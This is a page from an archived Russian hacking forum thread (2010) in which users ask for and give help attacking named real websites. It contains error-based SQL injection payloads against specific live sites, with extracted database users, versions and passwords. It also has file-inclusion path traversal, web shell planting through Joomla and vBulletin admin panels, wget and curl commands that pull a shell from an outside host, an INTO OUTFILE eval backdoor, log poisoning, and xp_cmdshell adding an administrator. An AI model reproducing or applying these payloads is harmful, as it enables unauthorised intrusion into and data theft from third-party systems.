PDA

Просмотр полной версии : Ваши вопросы по уязвимостям.


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 [52] 53 54 55 56

auth_root
26.04.2010, 01:23
Pashkela
Это чем?

Gorev
26.04.2010, 09:42
раскрутил скулю Postgresql, залил шелл..но на сервере крутится еще и MySQL.. как мне к базе с постгре подключится? к мускулю подключение нормальноe

попугай
26.04.2010, 09:53
раскрутил скулю Postgresql, залил шелл..но на сервере крутится еще и MySQL.. как мне к базе с постгре подключится? к мускулю подключение нормальноe


http://phppgadmin.sourceforge.net/

[Raz0r]
26.04.2010, 10:26
Как вариант WSO

budden
26.04.2010, 15:23
Подскажите, возможно ли как-нибудь все-таки скормить урл для include($MEGA-VARIABLE.'file.php'), если перед этим он редактируется вот так:
preg_replace( "/[a-z]/i", "", $MEGA-VARIABLE);

Или без вариантов?

PS Можно айпи дать напрямую, но http съедается..
Продолжаю с этим копаться.
Посмотрел сюда: http://www.php.net/manual/en/wrappers.file.php
И увидел такой вариант:
\\smbserver\share\path\to\winfile.ext
Получится ли у меня сделать финт вот так:
$MEGA-VARIABLE=\\192.192.192.192\123 ?
А в share уже положив \123\file.php с текстовой отдачей?
Если да, то подскажите please как можно по-быстрому на линуксе share сделать? только samba или есть что полегче?

попугай
26.04.2010, 17:41
Продолжаю с этим копаться.
Посмотрел сюда: http://www.php.net/manual/en/wrappers.file.php
И увидел такой вариант:
\\smbserver\share\path\to\winfile.ext
Получится ли у меня сделать финт вот так:
$MEGA-VARIABLE=\\192.192.192.192\123 ?
А в share уже положив \123\file.php с текстовой отдачей?
Если да, то подскажите please как можно по-быстрому на линуксе share сделать? только samba или есть что полегче?
почему бы не попробовать?

\\smbserver\share\path\to\winfile.ext

это только для венды

Nek1t
26.04.2010, 19:17
Есть иньекция, но в интересных условиях.
В кратце: уязвимый параметр используется в нескольких запросах. Скрипт выплевывает данные только после успешной обработки всех запросов. Проблема в том, что количество столбцов в запросах разное.
Т.е. подбираешь количество столбцов в первом в запросе, он выполняется, а на следующем скрипт крэшится. Из вывода в итоге получаются только ошибки, скрипт просто не дорабатывает до конца.

http://site.com/index.php?cat=-1+UNION+SELECT+1,2,3,4,5--+
MySQL error occured on line 68 in file index.php.
Error 1222: The used SELECT statements have a different number of columns
Query: [..query2..]
http://site.com/index.php?cat=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12--+
MySQL error occured on line 21 in file index.php.
Error 1222: The used SELECT statements have a different number of columns
Query: [..query1..]


Any ideas?

Nek1t
26.04.2010, 19:40
Все правильно делаю?
Ошибку не выдает, пишет item not found, т.е. сам скрипт что-то отлавливает и не выводит MySQL'ную ошибку?

index.php?id=-1+union+select+count(*),concat(version(),floor(ran d(0)*2)),3,4,5,6,7,8,9,10,11+x+from+users+group+by +x--+
где users - существующая таблица.

LokbatanLi
26.04.2010, 20:00
tak probuy

http://site.com/index.php?cat=(select*from(select+name_const(versi on(),1),name_const(version(),1))a)

l1ght
26.04.2010, 20:24
Вывод ошибок есть.

http://site.com/index.php?cat=-1+select count(*),concat(version(),floor(rand(0)*2)) x from table group by x;
капец просто :)

Nek1t
26.04.2010, 20:36
(select*from(select+name_const(version(),1),name_c onst(version(),1))a)
Работает, но
(select*from(select+name_const(user(),1),name_cons t(user(),1))a)

уже не работает: Error 1210: Incorrect arguments to NAME_CONST
Либо я не понял принципа, либо в чем-то другом проблема?

LokbatanLi
26.04.2010, 21:17
vot..

user()
http://www.radioerre.net/index.php?id=(select+1+from+(select+count(0),conca t((select+user()+from+information_schema.tables+li mit+20,1),floor(rand(0)*2))+from+information_schem a.tables+group+by+2+limit+20,1)a)
Sql115794@62.149.130.18

database()
http://www.radioerre.net/index.php?id=(select+1+from+(select+count(0),conca t((select+database()+from+information_schema.table s+limit+20,1),floor(rand(0)*2))+from+information_s chema.tables+group+by+2+limit+20,1)a)
Sql115794_4

@@version_compile_os
http://www.radioerre.net/index.php?id=(select+1+from+(select+count(0),conca t((select+@@version_compile_os+from+information_sc hema.tables+limit+20,1),floor(rand(0)*2))+from+inf ormation_schema.tables+group+by+2+limit+20,1)a)
redhat-linux-gnu

GOGA075
26.04.2010, 21:38
Пипл, кто юзал Joomla! 1.0.15 Lavra Edition 2008
подскажите как шел залить...
Или php код воспроизвести!!

Gorev
26.04.2010, 21:46
в джумле легко шелл залить если есть доступ в админку, устанавливаешь там модуль джумла ксплорер и через него уже спокойно делаешь свои дела

GOGA075
26.04.2010, 21:48
Gorev, а можно по подробнее.
Доступ к админке есть....

попугай
26.04.2010, 21:50
Gorev, а можно по подробнее.
Доступ к админке есть....


проще через шаблоны, если правятся

Nek1t
26.04.2010, 21:52
LokbatanLi
То, что надо - работает.
Кто-нибудь может "на пальцах" объяснить суть бага? В блоге Qwazar'a читал, но там тема несильно раскрыта.

И, кстати, почему group_concat не воркает в таком запросе?

GOGA075
26.04.2010, 22:17
проще через шаблоны, если правятся

править то можно, только он ошибку выдает
"Неверная контрольная суммафайла......."

и в чом фишка немогу понять...

Gorev
26.04.2010, 22:30
GOGA075 скачиваешь joomla xplorer и в админке устанавливаешь данный модуль , если не понял пиши в аську 8383один72

GOGA075
26.04.2010, 23:28
Gorev, спасибо за помощ. Шел еле-еле залил. Прав никаких нету, щитай зря промучался!!

Pashkela
27.04.2010, 00:31
GOGA075 скачиваешь joomla xplorer и в админке устанавливаешь данный модуль , если не понял пиши в аську 8383один72

Нафиг не надо, просто грузишь новый модуль в наглую wso.php, оно напишет "бла-бла-бла, идите нафинг", но шелл таки под оригинальным названием останется в /media/wso.php или /tmp/wso.php

shell_c0de
27.04.2010, 00:53
попробуй такой вариант http://forum.antichat.ru/showpost.php?p=1809203&postcount=173

YuNi|[c
27.04.2010, 01:28
esli tebya mysql version() toqda.. http://www.levelstock.com/mod/emarket/index.php?page=2&sort=(select*from(select+name_const(version(),1),n ame_const(version(),1))a)

нет версию и дбнайм я сам смогу взят но кто нит подскажите как далше вывести имена таблиц и колонок
может подскажет наши профи насчет моего вопроса?

GOGA075
27.04.2010, 07:14
shell_c0de, да там прав на самом сервере нету, только чтение скриптов!!

ExQ
27.04.2010, 12:48
ссори за тупость...
Есть скуля
http://kniga-market.kiev.ua/about.php?id=121&crm=1&tmp=-41+union+select+concat_ws(0x3a%20,user(),database( %20%20),version())--

что делать дальше?(

новичек в этом деле....

Gorev
27.04.2010, 13:37
2ExQ
там 4 версия..подбирай названия табличеk

ExQ
27.04.2010, 13:43
2ExQ
там 4 версия..подбирай названия табличеk


Скинь свою icq в пм

жёсткий ламер в этом(

Gorev
27.04.2010, 13:56
2ExQ
http://kniga-market.kiev.ua/about.php?id=121&crm=1&tmp=-41+union+select+1+from+название таблички --

stan_q
27.04.2010, 14:03
Ув. форумчане, вопрос следующий: на сайте есть скуль, имеется 1 БД (кроме стандартной). Данных о логине\пароле в этой БД нет. Может ли такое быть, или я что-то неправильно делаю?

Сам сайт (http://www.bereselite.ru/cars.html?id=3944)

Gorev
27.04.2010, 14:12
конечно все может быть, данные о юзвере админе могут быть прописаны в файле на сервере...

ExQ
27.04.2010, 14:20
Что значит эта ошибка?
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/kniga-market/kniga-market.kiev.ua/about.php on line 7

kfor
27.04.2010, 14:45
Что значит эта ошибка?
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/kniga-market/kniga-market.kiev.ua/about.php on line 7

то что ты ковычку зафигачил в параметр =)) Возможно есть sql inj. ты покажи запрос который ты отправляешь. Если это выдаёт просто скрипт без параметров, то скорее всего он просто криво написан.

ExQ
27.04.2010, 14:49
то что ты ковычку зафигачил в параметр =)) Возможно есть sql inj. ты покажи запрос который ты отправляешь. Если это выдаёт просто скрипт без параметров, то скорее всего он просто криво написан.


http://kniga-market.kiev.ua/about.php?id=121&crm=1&tmp=-41+union+select+1+from+тут название таблички --

wildshaman
27.04.2010, 14:50
А пройти по указанному линку никак, не?
http://kniga-market.kiev.ua/about.php - просто бага
http://kniga-market.kiev.ua/producers.php?category=10' - скуля
http://kniga-market.kiev.ua/producers.php?category=10+union+select+1,2,concat_ ws(0x3a,user(),version(),database()),4+--
u_knigamarke@localhost:4.1.22-log:knigamarket

ExQ
27.04.2010, 14:54
А пройти по указанному линку никак, не?
http://kniga-market.kiev.ua/about.php - просто бага
http://kniga-market.kiev.ua/producers.php?category=10' - скуля
http://kniga-market.kiev.ua/producers.php?category=10+union+select+1,2,concat_ ws(0x3a,user(),version(),database()),4+--
u_knigamarke@localhost:4.1.22-log:knigamarket


Ссори.. сильно не пинайте)
совсем ламер в этих делах :confused:


Ну а что делать дальше? :(

Jokester
27.04.2010, 15:10
Ну а что делать дальше? :(
Читать форум, статей куча, и не флудить в теме.
Если читать не умеешь, а сайт нужен, дать денег кому-нить, кто сломает. Всё просто

Nek1t
27.04.2010, 16:27
Тема с выводом инфы через ошибки такая забавная.

Раз:
view.php?id=(select+1+from+(select+count(0),concat ((select+concat_ws(0x3a,user(),version())+from+use rs+LIMIT+0,1),floor(rand(0)*3))+from+information_s chema.tables+group+by+2+limit+1,1)a)

Error 1062: Duplicate entry 'user@siteserv:5.1.29-rc-log1' for key 'group_key'

Два:
view.php?id=(select+1+from+(select+count(0),concat ((select+concat_ws(0x3a,user,password)+from+users+ LIMIT+0,1),floor(rand(0)*3))+from+information_sche ma.tables+group+by+2+limit+1,1)a)

Item not found //WTF? Поле password точно есть.

Три:
view.php?id=(select+1+from+(select+count(0),concat ((select+user+from+users+LIMIT+0,1),floor(rand(0)* 3))+from+information_schema.tables+group+by+2+limi t+1,1)a)
Error 1062: Duplicate entry 'admin1' for key 'group_key'

Четыре:
view.php?id=(select+1+from+(select+count(0),concat ((select+password+from+users+LIMIT+0,1),floor(rand (0)*3))+from+information_schema.tables+group+by+2+ limit+1,1)a)
Item not found //WTF

Пять:
view.php?id=(select+1+from+(select+count(0),concat ((select+password+from+users+WHERE+user='admin'),f loor(rand(0)*3))+from+information_schema.tables+gr oup+by+2+limit+1,1)a)
Item not found //WTF

Шесть:
view.php?id=(select+1+from+(select+count(0),concat ((select+substring(password,1,5)+from+users+LIMIT+ 0,1),floor(rand(0)*3))+from+information_schema.tab les+group+by+2+limit+1,1)a)
Error 1062: Duplicate entry 'mypas1' for key 'group_key'

В итоге работает такой костыль:
view.php?id=(select+1+from+(select+count(0),concat ((select+concat_ws(user,substring(password,1,300)) +from+users+LIMIT+0,1),floor(rand(0)*3))+from+info rmation_schema.tables+group+by+2+limit+1,1)a)
Error 1062: Duplicate entry 'admin:mypassword1' for key 'group_key'


И таки откуда такая проблема и как ее обойти? Substring - не выход, я считаю.

Qwazar
27.04.2010, 17:01
Nek1t
https://forum.antichat.ru/showpost.php?p=1802753&postcount=21

Оно?

Nek1t
27.04.2010, 17:44
Qwazar (https://forum.antichat.ru/member.php?u=17119)
Оно.
Кстати, как показала практика, необязательно резать строку, достаточно ее просто прогнать через эти функции в стиле substr(column,1,350). Ограничение будет, но уже меньше. Причем число 350 получается как некая константа минус длина имен колонок в подзапросе(или вроде того). Надо дальше копать.
view.php?id=(select+1+from+(select+count(0),concat ((select+concat(0x7c7c,mid(val,1,490),0x7c7c)+from +settings+LIMIT+0,1),floor(rand(0)*3))+from+inform ation_schema.tables+group+by+2+limit+1,1)a)

Cрабатывает.

view.php?id=(select+1+from+(select+count(0),concat ((select+concat(0x7c7c7c,mid(val,1,490),0x7c7c)+fr om+settings+LIMIT+0,1),floor(rand(0)*3))+from+info rmation_schema.tables+group+by+2+limit+1,1)a)

Не срабатывает.

view.php?id=(select+1+from+(select+count(0),concat ((select+concat(0x7c7c7c,mid(val,1,489),0x7c7c)+fr om+settings+LIMIT+0,1),floor(rand(0)*3))+from+info rmation_schema.tables+group+by+2+limit+1,1)a)

Срабатывает.

GroM88
27.04.2010, 18:21
Такой вопрос,
как залить шелл = \
vb 4.0.2
Есть доступ к админке, добавил модуль в faq_complete с содержимым
system($_GET["cmd"]);
OC там Linux
Пишу в адресной строке:
http://forum.site.ru/faq.php?cmd=ls
Вижу файлы и папки корня)
Делаю такой запрос в адресной строке:
forum.site.ru/faq.php?cmd=wget www.sitesshelom.ru/shell.php
Долго думает ) и потом вылазит 404 not found, вообщем шелл не заливается = \
подскажите как залить еще можно = \

.:[melkiy]:.
27.04.2010, 18:28
Такой вопрос,
как залить шелл = \
vb 4.0.2
Есть доступ к админке, добавил модуль в faq_complete с содержимым

OC там Linux
Пишу в адресной строке:
http://forum.site.ru/faq.php?cmd=ls
Вижу файлы и папки корня)
Делаю такой запрос в адресной строке:
forum.site.ru/faq.php?cmd=wget www.sitesshelom.ru/shell.php
Долго думает ) и потом вылазит 404 not found, вообщем шелл не заливается = \
подскажите как залить еще можно = \

curl --output /kuda/zalivaem/shell.php www.sitesshelom.ru/shell.php
fetch -o /kuda/zalivaem/shell.php www.sitesshelom.ru/shell.php
wget -o /kuda/zalivaem/shell.php www.sitesshelom.ru/shell.php
get www.sitesshelom.ru/shell.php > /kuda/zalivaem/shell.php

если allow_url_include On - include("http://www.sitesshelom.ru/shell.php");

copy('http://www.sitesshelom.ru/shell.php','/kuda/zalivaem/shell.php');

DrakonHaSh
27.04.2010, 21:02
можно ли раскрутить следующий инклуд:
http://www.petshopdamigos.gr/index.php?action=xyz
=>
Warning: require(pages/action_xyz.php) [function.require]: failed to open stream: No such file or directory in E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\index .php on line 408

попугай
27.04.2010, 21:14
можно ли раскрутить следующий инклуд:
http://www.petshopdamigos.gr/index.php?action=xyz
=>
Warning: require(pages/action_xyz.php) [function.require]: failed to open stream: No such file or directory in E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\index .php on line 408


если бы опция magic quotes не была включена, то

http://www.petshopdamigos.gr/index.php?action=/../../../../../../../c:boot.ini%00

wildshaman
27.04.2010, 21:15
http://www.petshopdamigos.gr/index.php?action=/../../index.php......................................... .................................................. .................................................. ............................................

Konqi
27.04.2010, 21:22
если бы опция magic quotes не была включена, то

http://www.petshopdamigos.gr/index.php?action=/../../../../../../../c:boot.ini%00

а не можно заxeк‎сить?

попугай
27.04.2010, 21:22
а не можно заxeк‎сить?

выше способ дали рабочий

Strilo4ka
27.04.2010, 22:57
можно ли раскрутить следующий инклуд:
http://www.petshopdamigos.gr/index.php?action=xyz
=>
Warning: require(pages/action_xyz.php) [function.require]: failed to open stream: No such file or directory in E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\index .php on line 408кстати в поле поиска пасивка.
чтоб обойти mg юзаем асции
<script>alert(String.fromCharCode(88,83,83))</script>
ps http://forum.xakep.ru/m_1298634/tm.htm - понрвилось

DrakonHaSh
27.04.2010, 23:03
попугай, wildshaman, Strilo4ka спасибо за помощь и советы


копаю дальше
http://www.petshopdamigos.gr/index.php?action=/../../../../../../inetpub/vhosts/petshopdamigos.gr/httpdocs/admin/info - phpinfo()

есть
E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\index .php
E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\pages \config.php
E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\pages \functions.php
E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\admin \index.php
E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\admin \config.php
E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\admin \functions.php
E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\admin \info.php
но текст их посмотреть нельзя, только исполнение через require()

http://www.petshopdamigos.gr/test - basic авторизация, ни .htaccess ни .htpasswd там нет, да и сервер там Microsoft-IIS/6.0

доступ к соседям закрыт - Permission denied

sql inj вроде как нигде нет

через http://www.petshopdamigos.gr/index.php?action=05 можно попасть на форму, которая через mail() будет слать письмо

http://www.petshopdamigos.gr/index.php?action=09 ссылок на которую ниоткуда нет выдает:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\inetpub\vhosts\petshopdamigos.gr\httpdocs\pages \action_09.php on line 9


есть идеи с какой стороны еще можно залезть ?

pinch
27.04.2010, 23:46
не выводит таблицы ID=1+OR+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATIO N_SCHEMA.TABLES)--
в чем может быть проблема?

зато выводит колонки
ID=1+OR+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATI ON_SCHEMA.COLUMNS)--

DrakonHaSh
27.04.2010, 23:58
возможно фильтр на TABLE_NAME, попробуй перевести TABLE_NAME в hex или char
или фильтр на INFORMATIO N_SCHEMA.TABLES - тоже обходится, но как не помню, пусть более просвещенные подскажут ;)

.:[melkiy]:.
28.04.2010, 00:01
возможно фильтр на TABLE_NAME, попробуй перевести TABLE_NAME в hex или char

операторы нельзя переводить в hеx или char

DrakonHaSh
28.04.2010, 00:02
ой, сорри, ступил :(

pinch
28.04.2010, 00:16
странно... запрос обрабатывается "нормально" бех вывода ошибок
запрос
ID=1+OR+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATIO N_SCHEMA.TABLES)--

выводит пустую страницу без новостей, и ошибок

[Feldmarschall]
28.04.2010, 00:40
странно... запрос обрабатывается "нормально" бех вывода ошибок
запрос
ID=1+OR+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATIO N_SCHEMA.TABLES)--

выводит пустую страницу без новостей, и ошибок
так попробуй
+or+1=(select+top+1+table_name+from+information_sc hema.tables+where+table_name+not+in+(select+top+1+ table_name+from+information_schema.tables+order+by +table_name)--
иле так..
ID=convert(int,(SELECT+TOP+1+TABLE_NAME+FROM+INFOR MATION_SCHEMA.TABLES))--

GroM88
28.04.2010, 08:27
хелп) сос))

Вообщем пытаюсь залить шелл через админку вб 4.0.2
Вообщем подробно не буду...
в модуль впихиваю такой код
system("wget -o /home/www/сайт.by/forum/customavatars/inbex2.php http://сайт.narod.ru/wso2.php");
Захожу на страницу forum.site.ru/faq.php
Думает,думает, и потом вылазит 404 not found
Далее иду по адресу
forum.сайт.by/customavatars/inbex2.php
и тупо белая страница
пытаюсь проделать туже функцию только меняю название шелла которое будет на серваке
и иногда показывает например по адресу
forum.сайт.by/customavatars/inbex3.php такую хрень = \ :
--2010-04-27 20:25:52-- http://сайт.narod.ru/wso2.php Resolving сайтnarod.ru... 213.180.199.44 Connecting to сайт.narod.ru|213.180.199.44|:80...
и больше ничего = \
кто знает в чем проблема?
почему шелл не заливается??? :confused: :confused: :confused:

DIEZalok
28.04.2010, 11:37
хелп) сос))

Вообщем пытаюсь залить шелл через админку вб 4.0.2
Вообщем подробно не буду...
в модуль впихиваю такой код
system("wget -o /home/www/сайт.by/forum/customavatars/inbex2.php http://сайт.narod.ru/wso2.php");
Захожу на страницу forum.site.ru/faq.php
Думает,думает, и потом вылазит 404 not found
Далее иду по адресу
forum.сайт.by/customavatars/inbex2.php
и тупо белая страница
пытаюсь проделать туже функцию только меняю название шелла которое будет на серваке
и иногда показывает например по адресу
forum.сайт.by/customavatars/inbex3.php такую хрень = \ :
--2010-04-27 20:25:52-- http://сайт.narod.ru/wso2.php Resolving сайтnarod.ru... 213.180.199.44 Connecting to сайт.narod.ru|213.180.199.44|:80...
и больше ничего = \
кто знает в чем проблема?
почему шелл не заливается??? :confused: :confused: :confused:


1. Писать не -o, а -O (зааглавная).
2. Правильно писать так: wget http://shell.com/shell.txt -O shell.php
-O - чтобы залить с другим именем.
-o - вместо шелла заливает по заданному адресу РЕЗУЛЬТАТ ЗАЛИВКИ, т.е. это не то.
А может прав нету? Проверь id; ls -la;
Если и вправду прав нету, то ищи где есть и делай так:
cd /tut/prava/0777/; wget http://xx.narod.ru/shell.txt -O shell.php
или в -O укажи путь новый, т.е. чтобы cd не писать.

GroM88
28.04.2010, 11:54
DIEZalok Прочитай plz личку)

pinch
28.04.2010, 17:51
так попробуй +or+1=(select+top+1+table_name+from+information_sc hema.tables+where+table_name+not+in+(select+top+1+ table_name+from+information_schema.tables+order+by +table_name)-- иле так.. ID=convert(int,(SELECT+TOP+1+TABLE_NAME+FROM+INFOR MATION_SCHEMA.TABLES))--

неее не катит....
http://www.looplifter.co.uk/news.asp?id=1

v1d0qz
28.04.2010, 18:02
не выводит таблицы ID=1+OR+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATIO N_SCHEMA.TABLES)--
в чем может быть проблема?

зато выводит колонки
ID=1+OR+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATI ON_SCHEMA.COLUMNS)--


']так попробуй
+or+1=(select+top+1+table_name+from+information_sc hema.tables+where+table_name+not+in+(select+top+1+ table_name+from+information_schema.tables+order+by +table_name)--
иле так..
ID=convert(int,(SELECT+TOP+1+TABLE_NAME+FROM+INFOR MATION_SCHEMA.TABLES))--

неее не катит....
http://www.looplifter.co.uk/news.asp?id=1

http://www.looplifter.co.uk/news.asp?id=5+and+1=(select+top+1+cast(table_name+ as+int)+from+information_schema.columns)--

Я конечно понимаю что методом тыка, может что-то/когда-то получится, но всё же...Для начала узнайте что находится в базе information_schema и станет намного легче искать решения проблемы.

pinch
28.04.2010, 18:27
вот объясните (незнаком я с внутренним миром бд) впервые вижу такое сочетание:
http://www.looplifter.co.uk/news.asp?id=5+and+1=(select+top+1+table_name+from+ information_schema.columns)--
такой запрос что выводит? таблицу, колонку?

вроде вывод ВСЕХ колонок бд имеет вид:
http://www.looplifter.co.uk/news.asp?id=5+and+1=(select+top+1+column_name+from +information_schema.columns)--

вывод ВСЕХ таблиц бд имеет вид:
http://www.looplifter.co.uk/news.asp?id=5+and+1=(select+top+1+table_name+from+ information_schema.tables)--

DrakonHaSh
28.04.2010, 19:13
pinch
http://www.looplifter.co.uk/news.asp?id=5
1. слепая sql:

http://www.looplifter.co.uk/news.asp?id=5 and '1'=(select 1)
=> так же как и при id=5

http://www.looplifter.co.uk/news.asp?id=5 and '1'=(select 2)
=> пусто

2.
http://www.looplifter.co.uk/news.asp?id=5 and 0<(select db_name())--
=>
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'Looplifter' to a column of data type int.
/news.asp, line 355
==> не такая уж и слепая

http://www.looplifter.co.uk/news.asp?id=5 and 0<(select count(*) from information_schema.columns)--
=> так же как и при id=5

http://www.looplifter.co.uk/news.asp?id=5 and 0<(select count(*) from information_schema.tables)--
=> пусто

http://www.looplifter.co.uk/news.asp?id=5 and 0<(select count(*) from information_schema.columns) and '0'<(select count(*) from information_schema.tables)--
=> пусто

http://www.looplifter.co.uk/news.asp?id=5 and 0<(select count(*) from information_schema.columns) and '0'<(select 'count(*) from information_schema.tables')--
=> так же как и при id=5

==> наврятли там какой-то уж очень интеллектуальный фильтр, может просто запрещены права юзеру Looplifter на чтение information_schema.tables ?

pinch
28.04.2010, 19:16
=))) эт не какаята хрень а MSSQL 2000

Konqi
28.04.2010, 20:58
народ есть ли альтернативный способ как найти админку?

уже не первый раз сталкиваюсь с такой проблемой,пароль есть- а админку не найти ..
программой делаю перебор стандартных админок типа admin,administrator,cms,admin_panel etc...
результатов нет!

есть ли другой способ ?

shell_c0de
28.04.2010, 21:54
2Konqi
http://madnet.name/tools/madss/
или юзай прогу IntelliTamper
и еще попробуй пароль к хостеру если нету админки все таки...
+проскань порты
например панелька http://188.40.XX.XX:2222/

AC//DC
28.04.2010, 21:57
народ есть ли альтернативный способ как найти админку?

уже не первый раз сталкиваюсь с такой проблемой,пароль есть- а админку не найти ..
программой делаю перебор стандартных админок типа admin,administrator,cms,admin_panel etc...
результатов нет!

есть ли другой способ ?

попробуй robots.txt может прокатит.......

Konqi
28.04.2010, 22:08
попробуй robots.txt может прокатит.......


нету роботов,всегда проверяю

а вообще нашел хорошую прагу IntelliTampor

Konqi
28.04.2010, 22:10
2Konqi
http://madnet.name/tools/madss/
или юзай прогу IntelliTamper
и еще попробуй пароль к хостеру если нету админки все таки...
+проскань порты
например панелька http://188.40.XX.XX:2222/

спасибо,папробую

не видя твой пост сам писал про прагу :)

только что нашел

Strilo4ka
28.04.2010, 22:33
народ есть ли альтернативный способ как найти админку?

уже не первый раз сталкиваюсь с такой проблемой,пароль есть- а админку не найти ..
программой делаю перебор стандартных админок типа admin,administrator,cms,admin_panel etc...
результатов нет!

есть ли другой способ ?
http://forum.xakep.ru/m_1653053/tm.htm

Konqi
28.04.2010, 22:40
Strilo4ka спасибо

Nek1t
28.04.2010, 23:18
И еще раз возвращаясь к теме вывода данных в SQL-inj в ошибках.
Правильно понимаю, что максимум можно вывести 64 символа чистых данных(единица в конце отбрасывается), и единственный выход - резать на подстроки?

LokbatanLi
29.04.2010, 11:18
есть шелл..там есть например папка www.xxx.com
и там есть папки например тест1 тест2 и т.д///

тест1 drwxrwxrwx зеленый..тест2 красный..

в тест1 моjно все зделать а в тест2 нелзя ничево (едит уплоад)

кояда откриваеш site автоматичецки откривается папка тест2..как зделат чтоби тест1 откривался..

DrakonHaSh
29.04.2010, 11:50
а что, www.xxx.com/test1/shell.php не прокатывает ?

YuNi|[c
30.04.2010, 03:27
есть вопрос насчет floor

сделал запрос чтоб прочест файли на сервере:
and (select 1 from (select count(0),concat((select+substring(load_file('/etc/passwd'),1,50) LIMIT 0,1),floor(rand(0)*3)) from information_schema.tables group by 2 limit 1,1)a)--

норм выводит но когда доходим до 494 символа то ничего не выводит.

and (select 1 from (select count(0),concat((select+substring(load_file('/etc/passwd'),1,50) LIMIT 0,1),floor(rand(0)*3)) from information_schema.tables group by 2 limit 1,1)a)--

через chat_length проверил но там 677021 символов!!!

Остальные файлы тоже читается до 494 символов. Тут на одного запроса пришлос писать 64символов так как floor большего режет. Но поэтапно тоже не больше 494 ((

Правда запрос через хедер идет. Может кто обьяснит?? И вообше тут можно into outfile делать если прав есть?

Dare
30.04.2010, 09:07
И вообше тут можно into outfile делать если прав есть?
Именно через floor хочешь? Ведь можно таким методом в подобных условиях лить:

+limit+1+into+outfile+'/путь_до_папки_доступной_на_ апись/shell.php'+lines+terminated+by+"<?php+eval($_REQUEST[ec]);?>"--+

YuNi|[c
30.04.2010, 11:40
спс за ответ но не очень то понял тебя, в каких условиях гриш? Судя по запросу оно должно дополнят мой запрос? Хотя так не пашет

Dare
30.04.2010, 12:09
спс за ответ но не очень то понял тебя, в каких условиях гриш? Судя по запросу оно должно дополнят мой запрос? Хотя так не пашет
Когда можно внедрить команды в запрос, и имеется file_priv (естественно кавычки не должны слешироваться)
Обычно такой способ используется в слепых скулях.

FAQ666
30.04.2010, 13:20
есть LFI, нашел еrror.log и access.log, access читать не получается т.к. размер большой, остался только еrror.
Делаю запрос вида http://www.site.com/<? траляля ?>
В лог пишется %3C? траляля ?%3E.
Что же делать?)

Pashkela
30.04.2010, 13:38
<?php file_get_contents('http://lala.com/<?php eval(stripslashes($_REQUEST[lol]));?>');?>

FAQ666
30.04.2010, 13:42
<?php file_get_contents('http://lala.com/<?php eval(stripslashes($_REQUEST[lol]));?>');?>
[uri "/%3C?php%20file_get_contents('http://lala.com/%3C?php%20eval(stripslashes($_REQUEST[lol]));?%3E');?%3E"]

Pashkela
30.04.2010, 13:50
ну если ты это в адресную строку прямо все забил, то не удивительно. Ми тебе намекгул как бы, что запрос можно выполнить просто сторонним скриптом, или интекрякерами всякими, как тебе удобнее.

PS: Выполнить запрос сторонним скриптом - это значит выполнить скрипт, а не набирать его код в адресной строке браузера

pinch
30.04.2010, 14:26
в mssql если имя пользователя не sa при запросе:

http://test/news.asp?id=1+or+1=(select+system_user)--

то как я понимаю у меня не будет прав на выполнения команд?

shell_c0de
30.04.2010, 14:52
2pinch нет от этого не зависеть
если есть права то кмдшелл то добавь сам админа EXEC xp_cmdshell 'net localgroup Administrators test_user /add'
в твоем случае можешь поменять пароль от админа (ну если превелегии есть)
?id=1; UPDATE 'admin_login' SET 'password' = 'password' WHERE login_name='sa--

v1d0qz
30.04.2010, 16:27
есть LFI, нашел еrror.log и access.log, access читать не получается т.к. размер большой, остался только еrror.
Делаю запрос вида http://www.site.com/<? траляля ?>
В лог пишется %3C? траляля ?%3E.
Что же делать?)

<?php file_get_contents('http://lala.com/<?php eval(stripslashes($_REQUEST[lol]));?>');?>

[uri "/%3C?php%20file_get_contents('http://lala.com/%3C?php%20eval(stripslashes($_REQUEST[lol]));?%3E');?%3E"]
Это специфика браузера. Используй гхром, через него должно быть тру. Ну или как уже сказано выше, используй не браузер.

GOGA075
30.04.2010, 17:25
Как в phpBB 2.0.22 обойти usercp_avatar.php ??
не получаеться залить шел через аватарку. видно стоит обработка скриптом!

Или что можно воткнут в место phpinfo()
в
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:phpinfo()' WHERE user_id=4;

штоб шел залить??

budden
30.04.2010, 19:13
вставляй system($_GET[tu4ka])

Konqi
30.04.2010, 22:19
есть таблица users

table_rows - 6

есть колонки name,pass

когда делаю запрос union+select+......version()+from+users то все нормально

а запрос union+select+......pass+from+users ничего не выдает

что посоветуете?

GOGA075
30.04.2010, 22:35
Konqi, попробуй shar() либо concat_ws()

Gorev
30.04.2010, 22:36
Konqi проверь если не пустая табла
union+select+1,2,count(*),4+from+users

count(*) выводит количество записей в таблице, если вывело 0, таблица пустая
либо для 5 ветки так
union+select+1,table_rows+from+information_schema. tables+where+table_name='users'
и если табла в нужной базe
union+select+1,2,pass,4+from+database_name.users
hex(unhex())
aes_encrypt....
GOGA075
concat обьеденяет запросы..причем тут конкатирование?

Konqi
30.04.2010, 22:39
Konqi, попробуй shar() либо concat_ws()

чаром нельзя,а конкат не че не может изменить ибо это функция для соединения результатов,не больше.

GOGA075
30.04.2010, 22:40
budden, и что мне этот код даст?
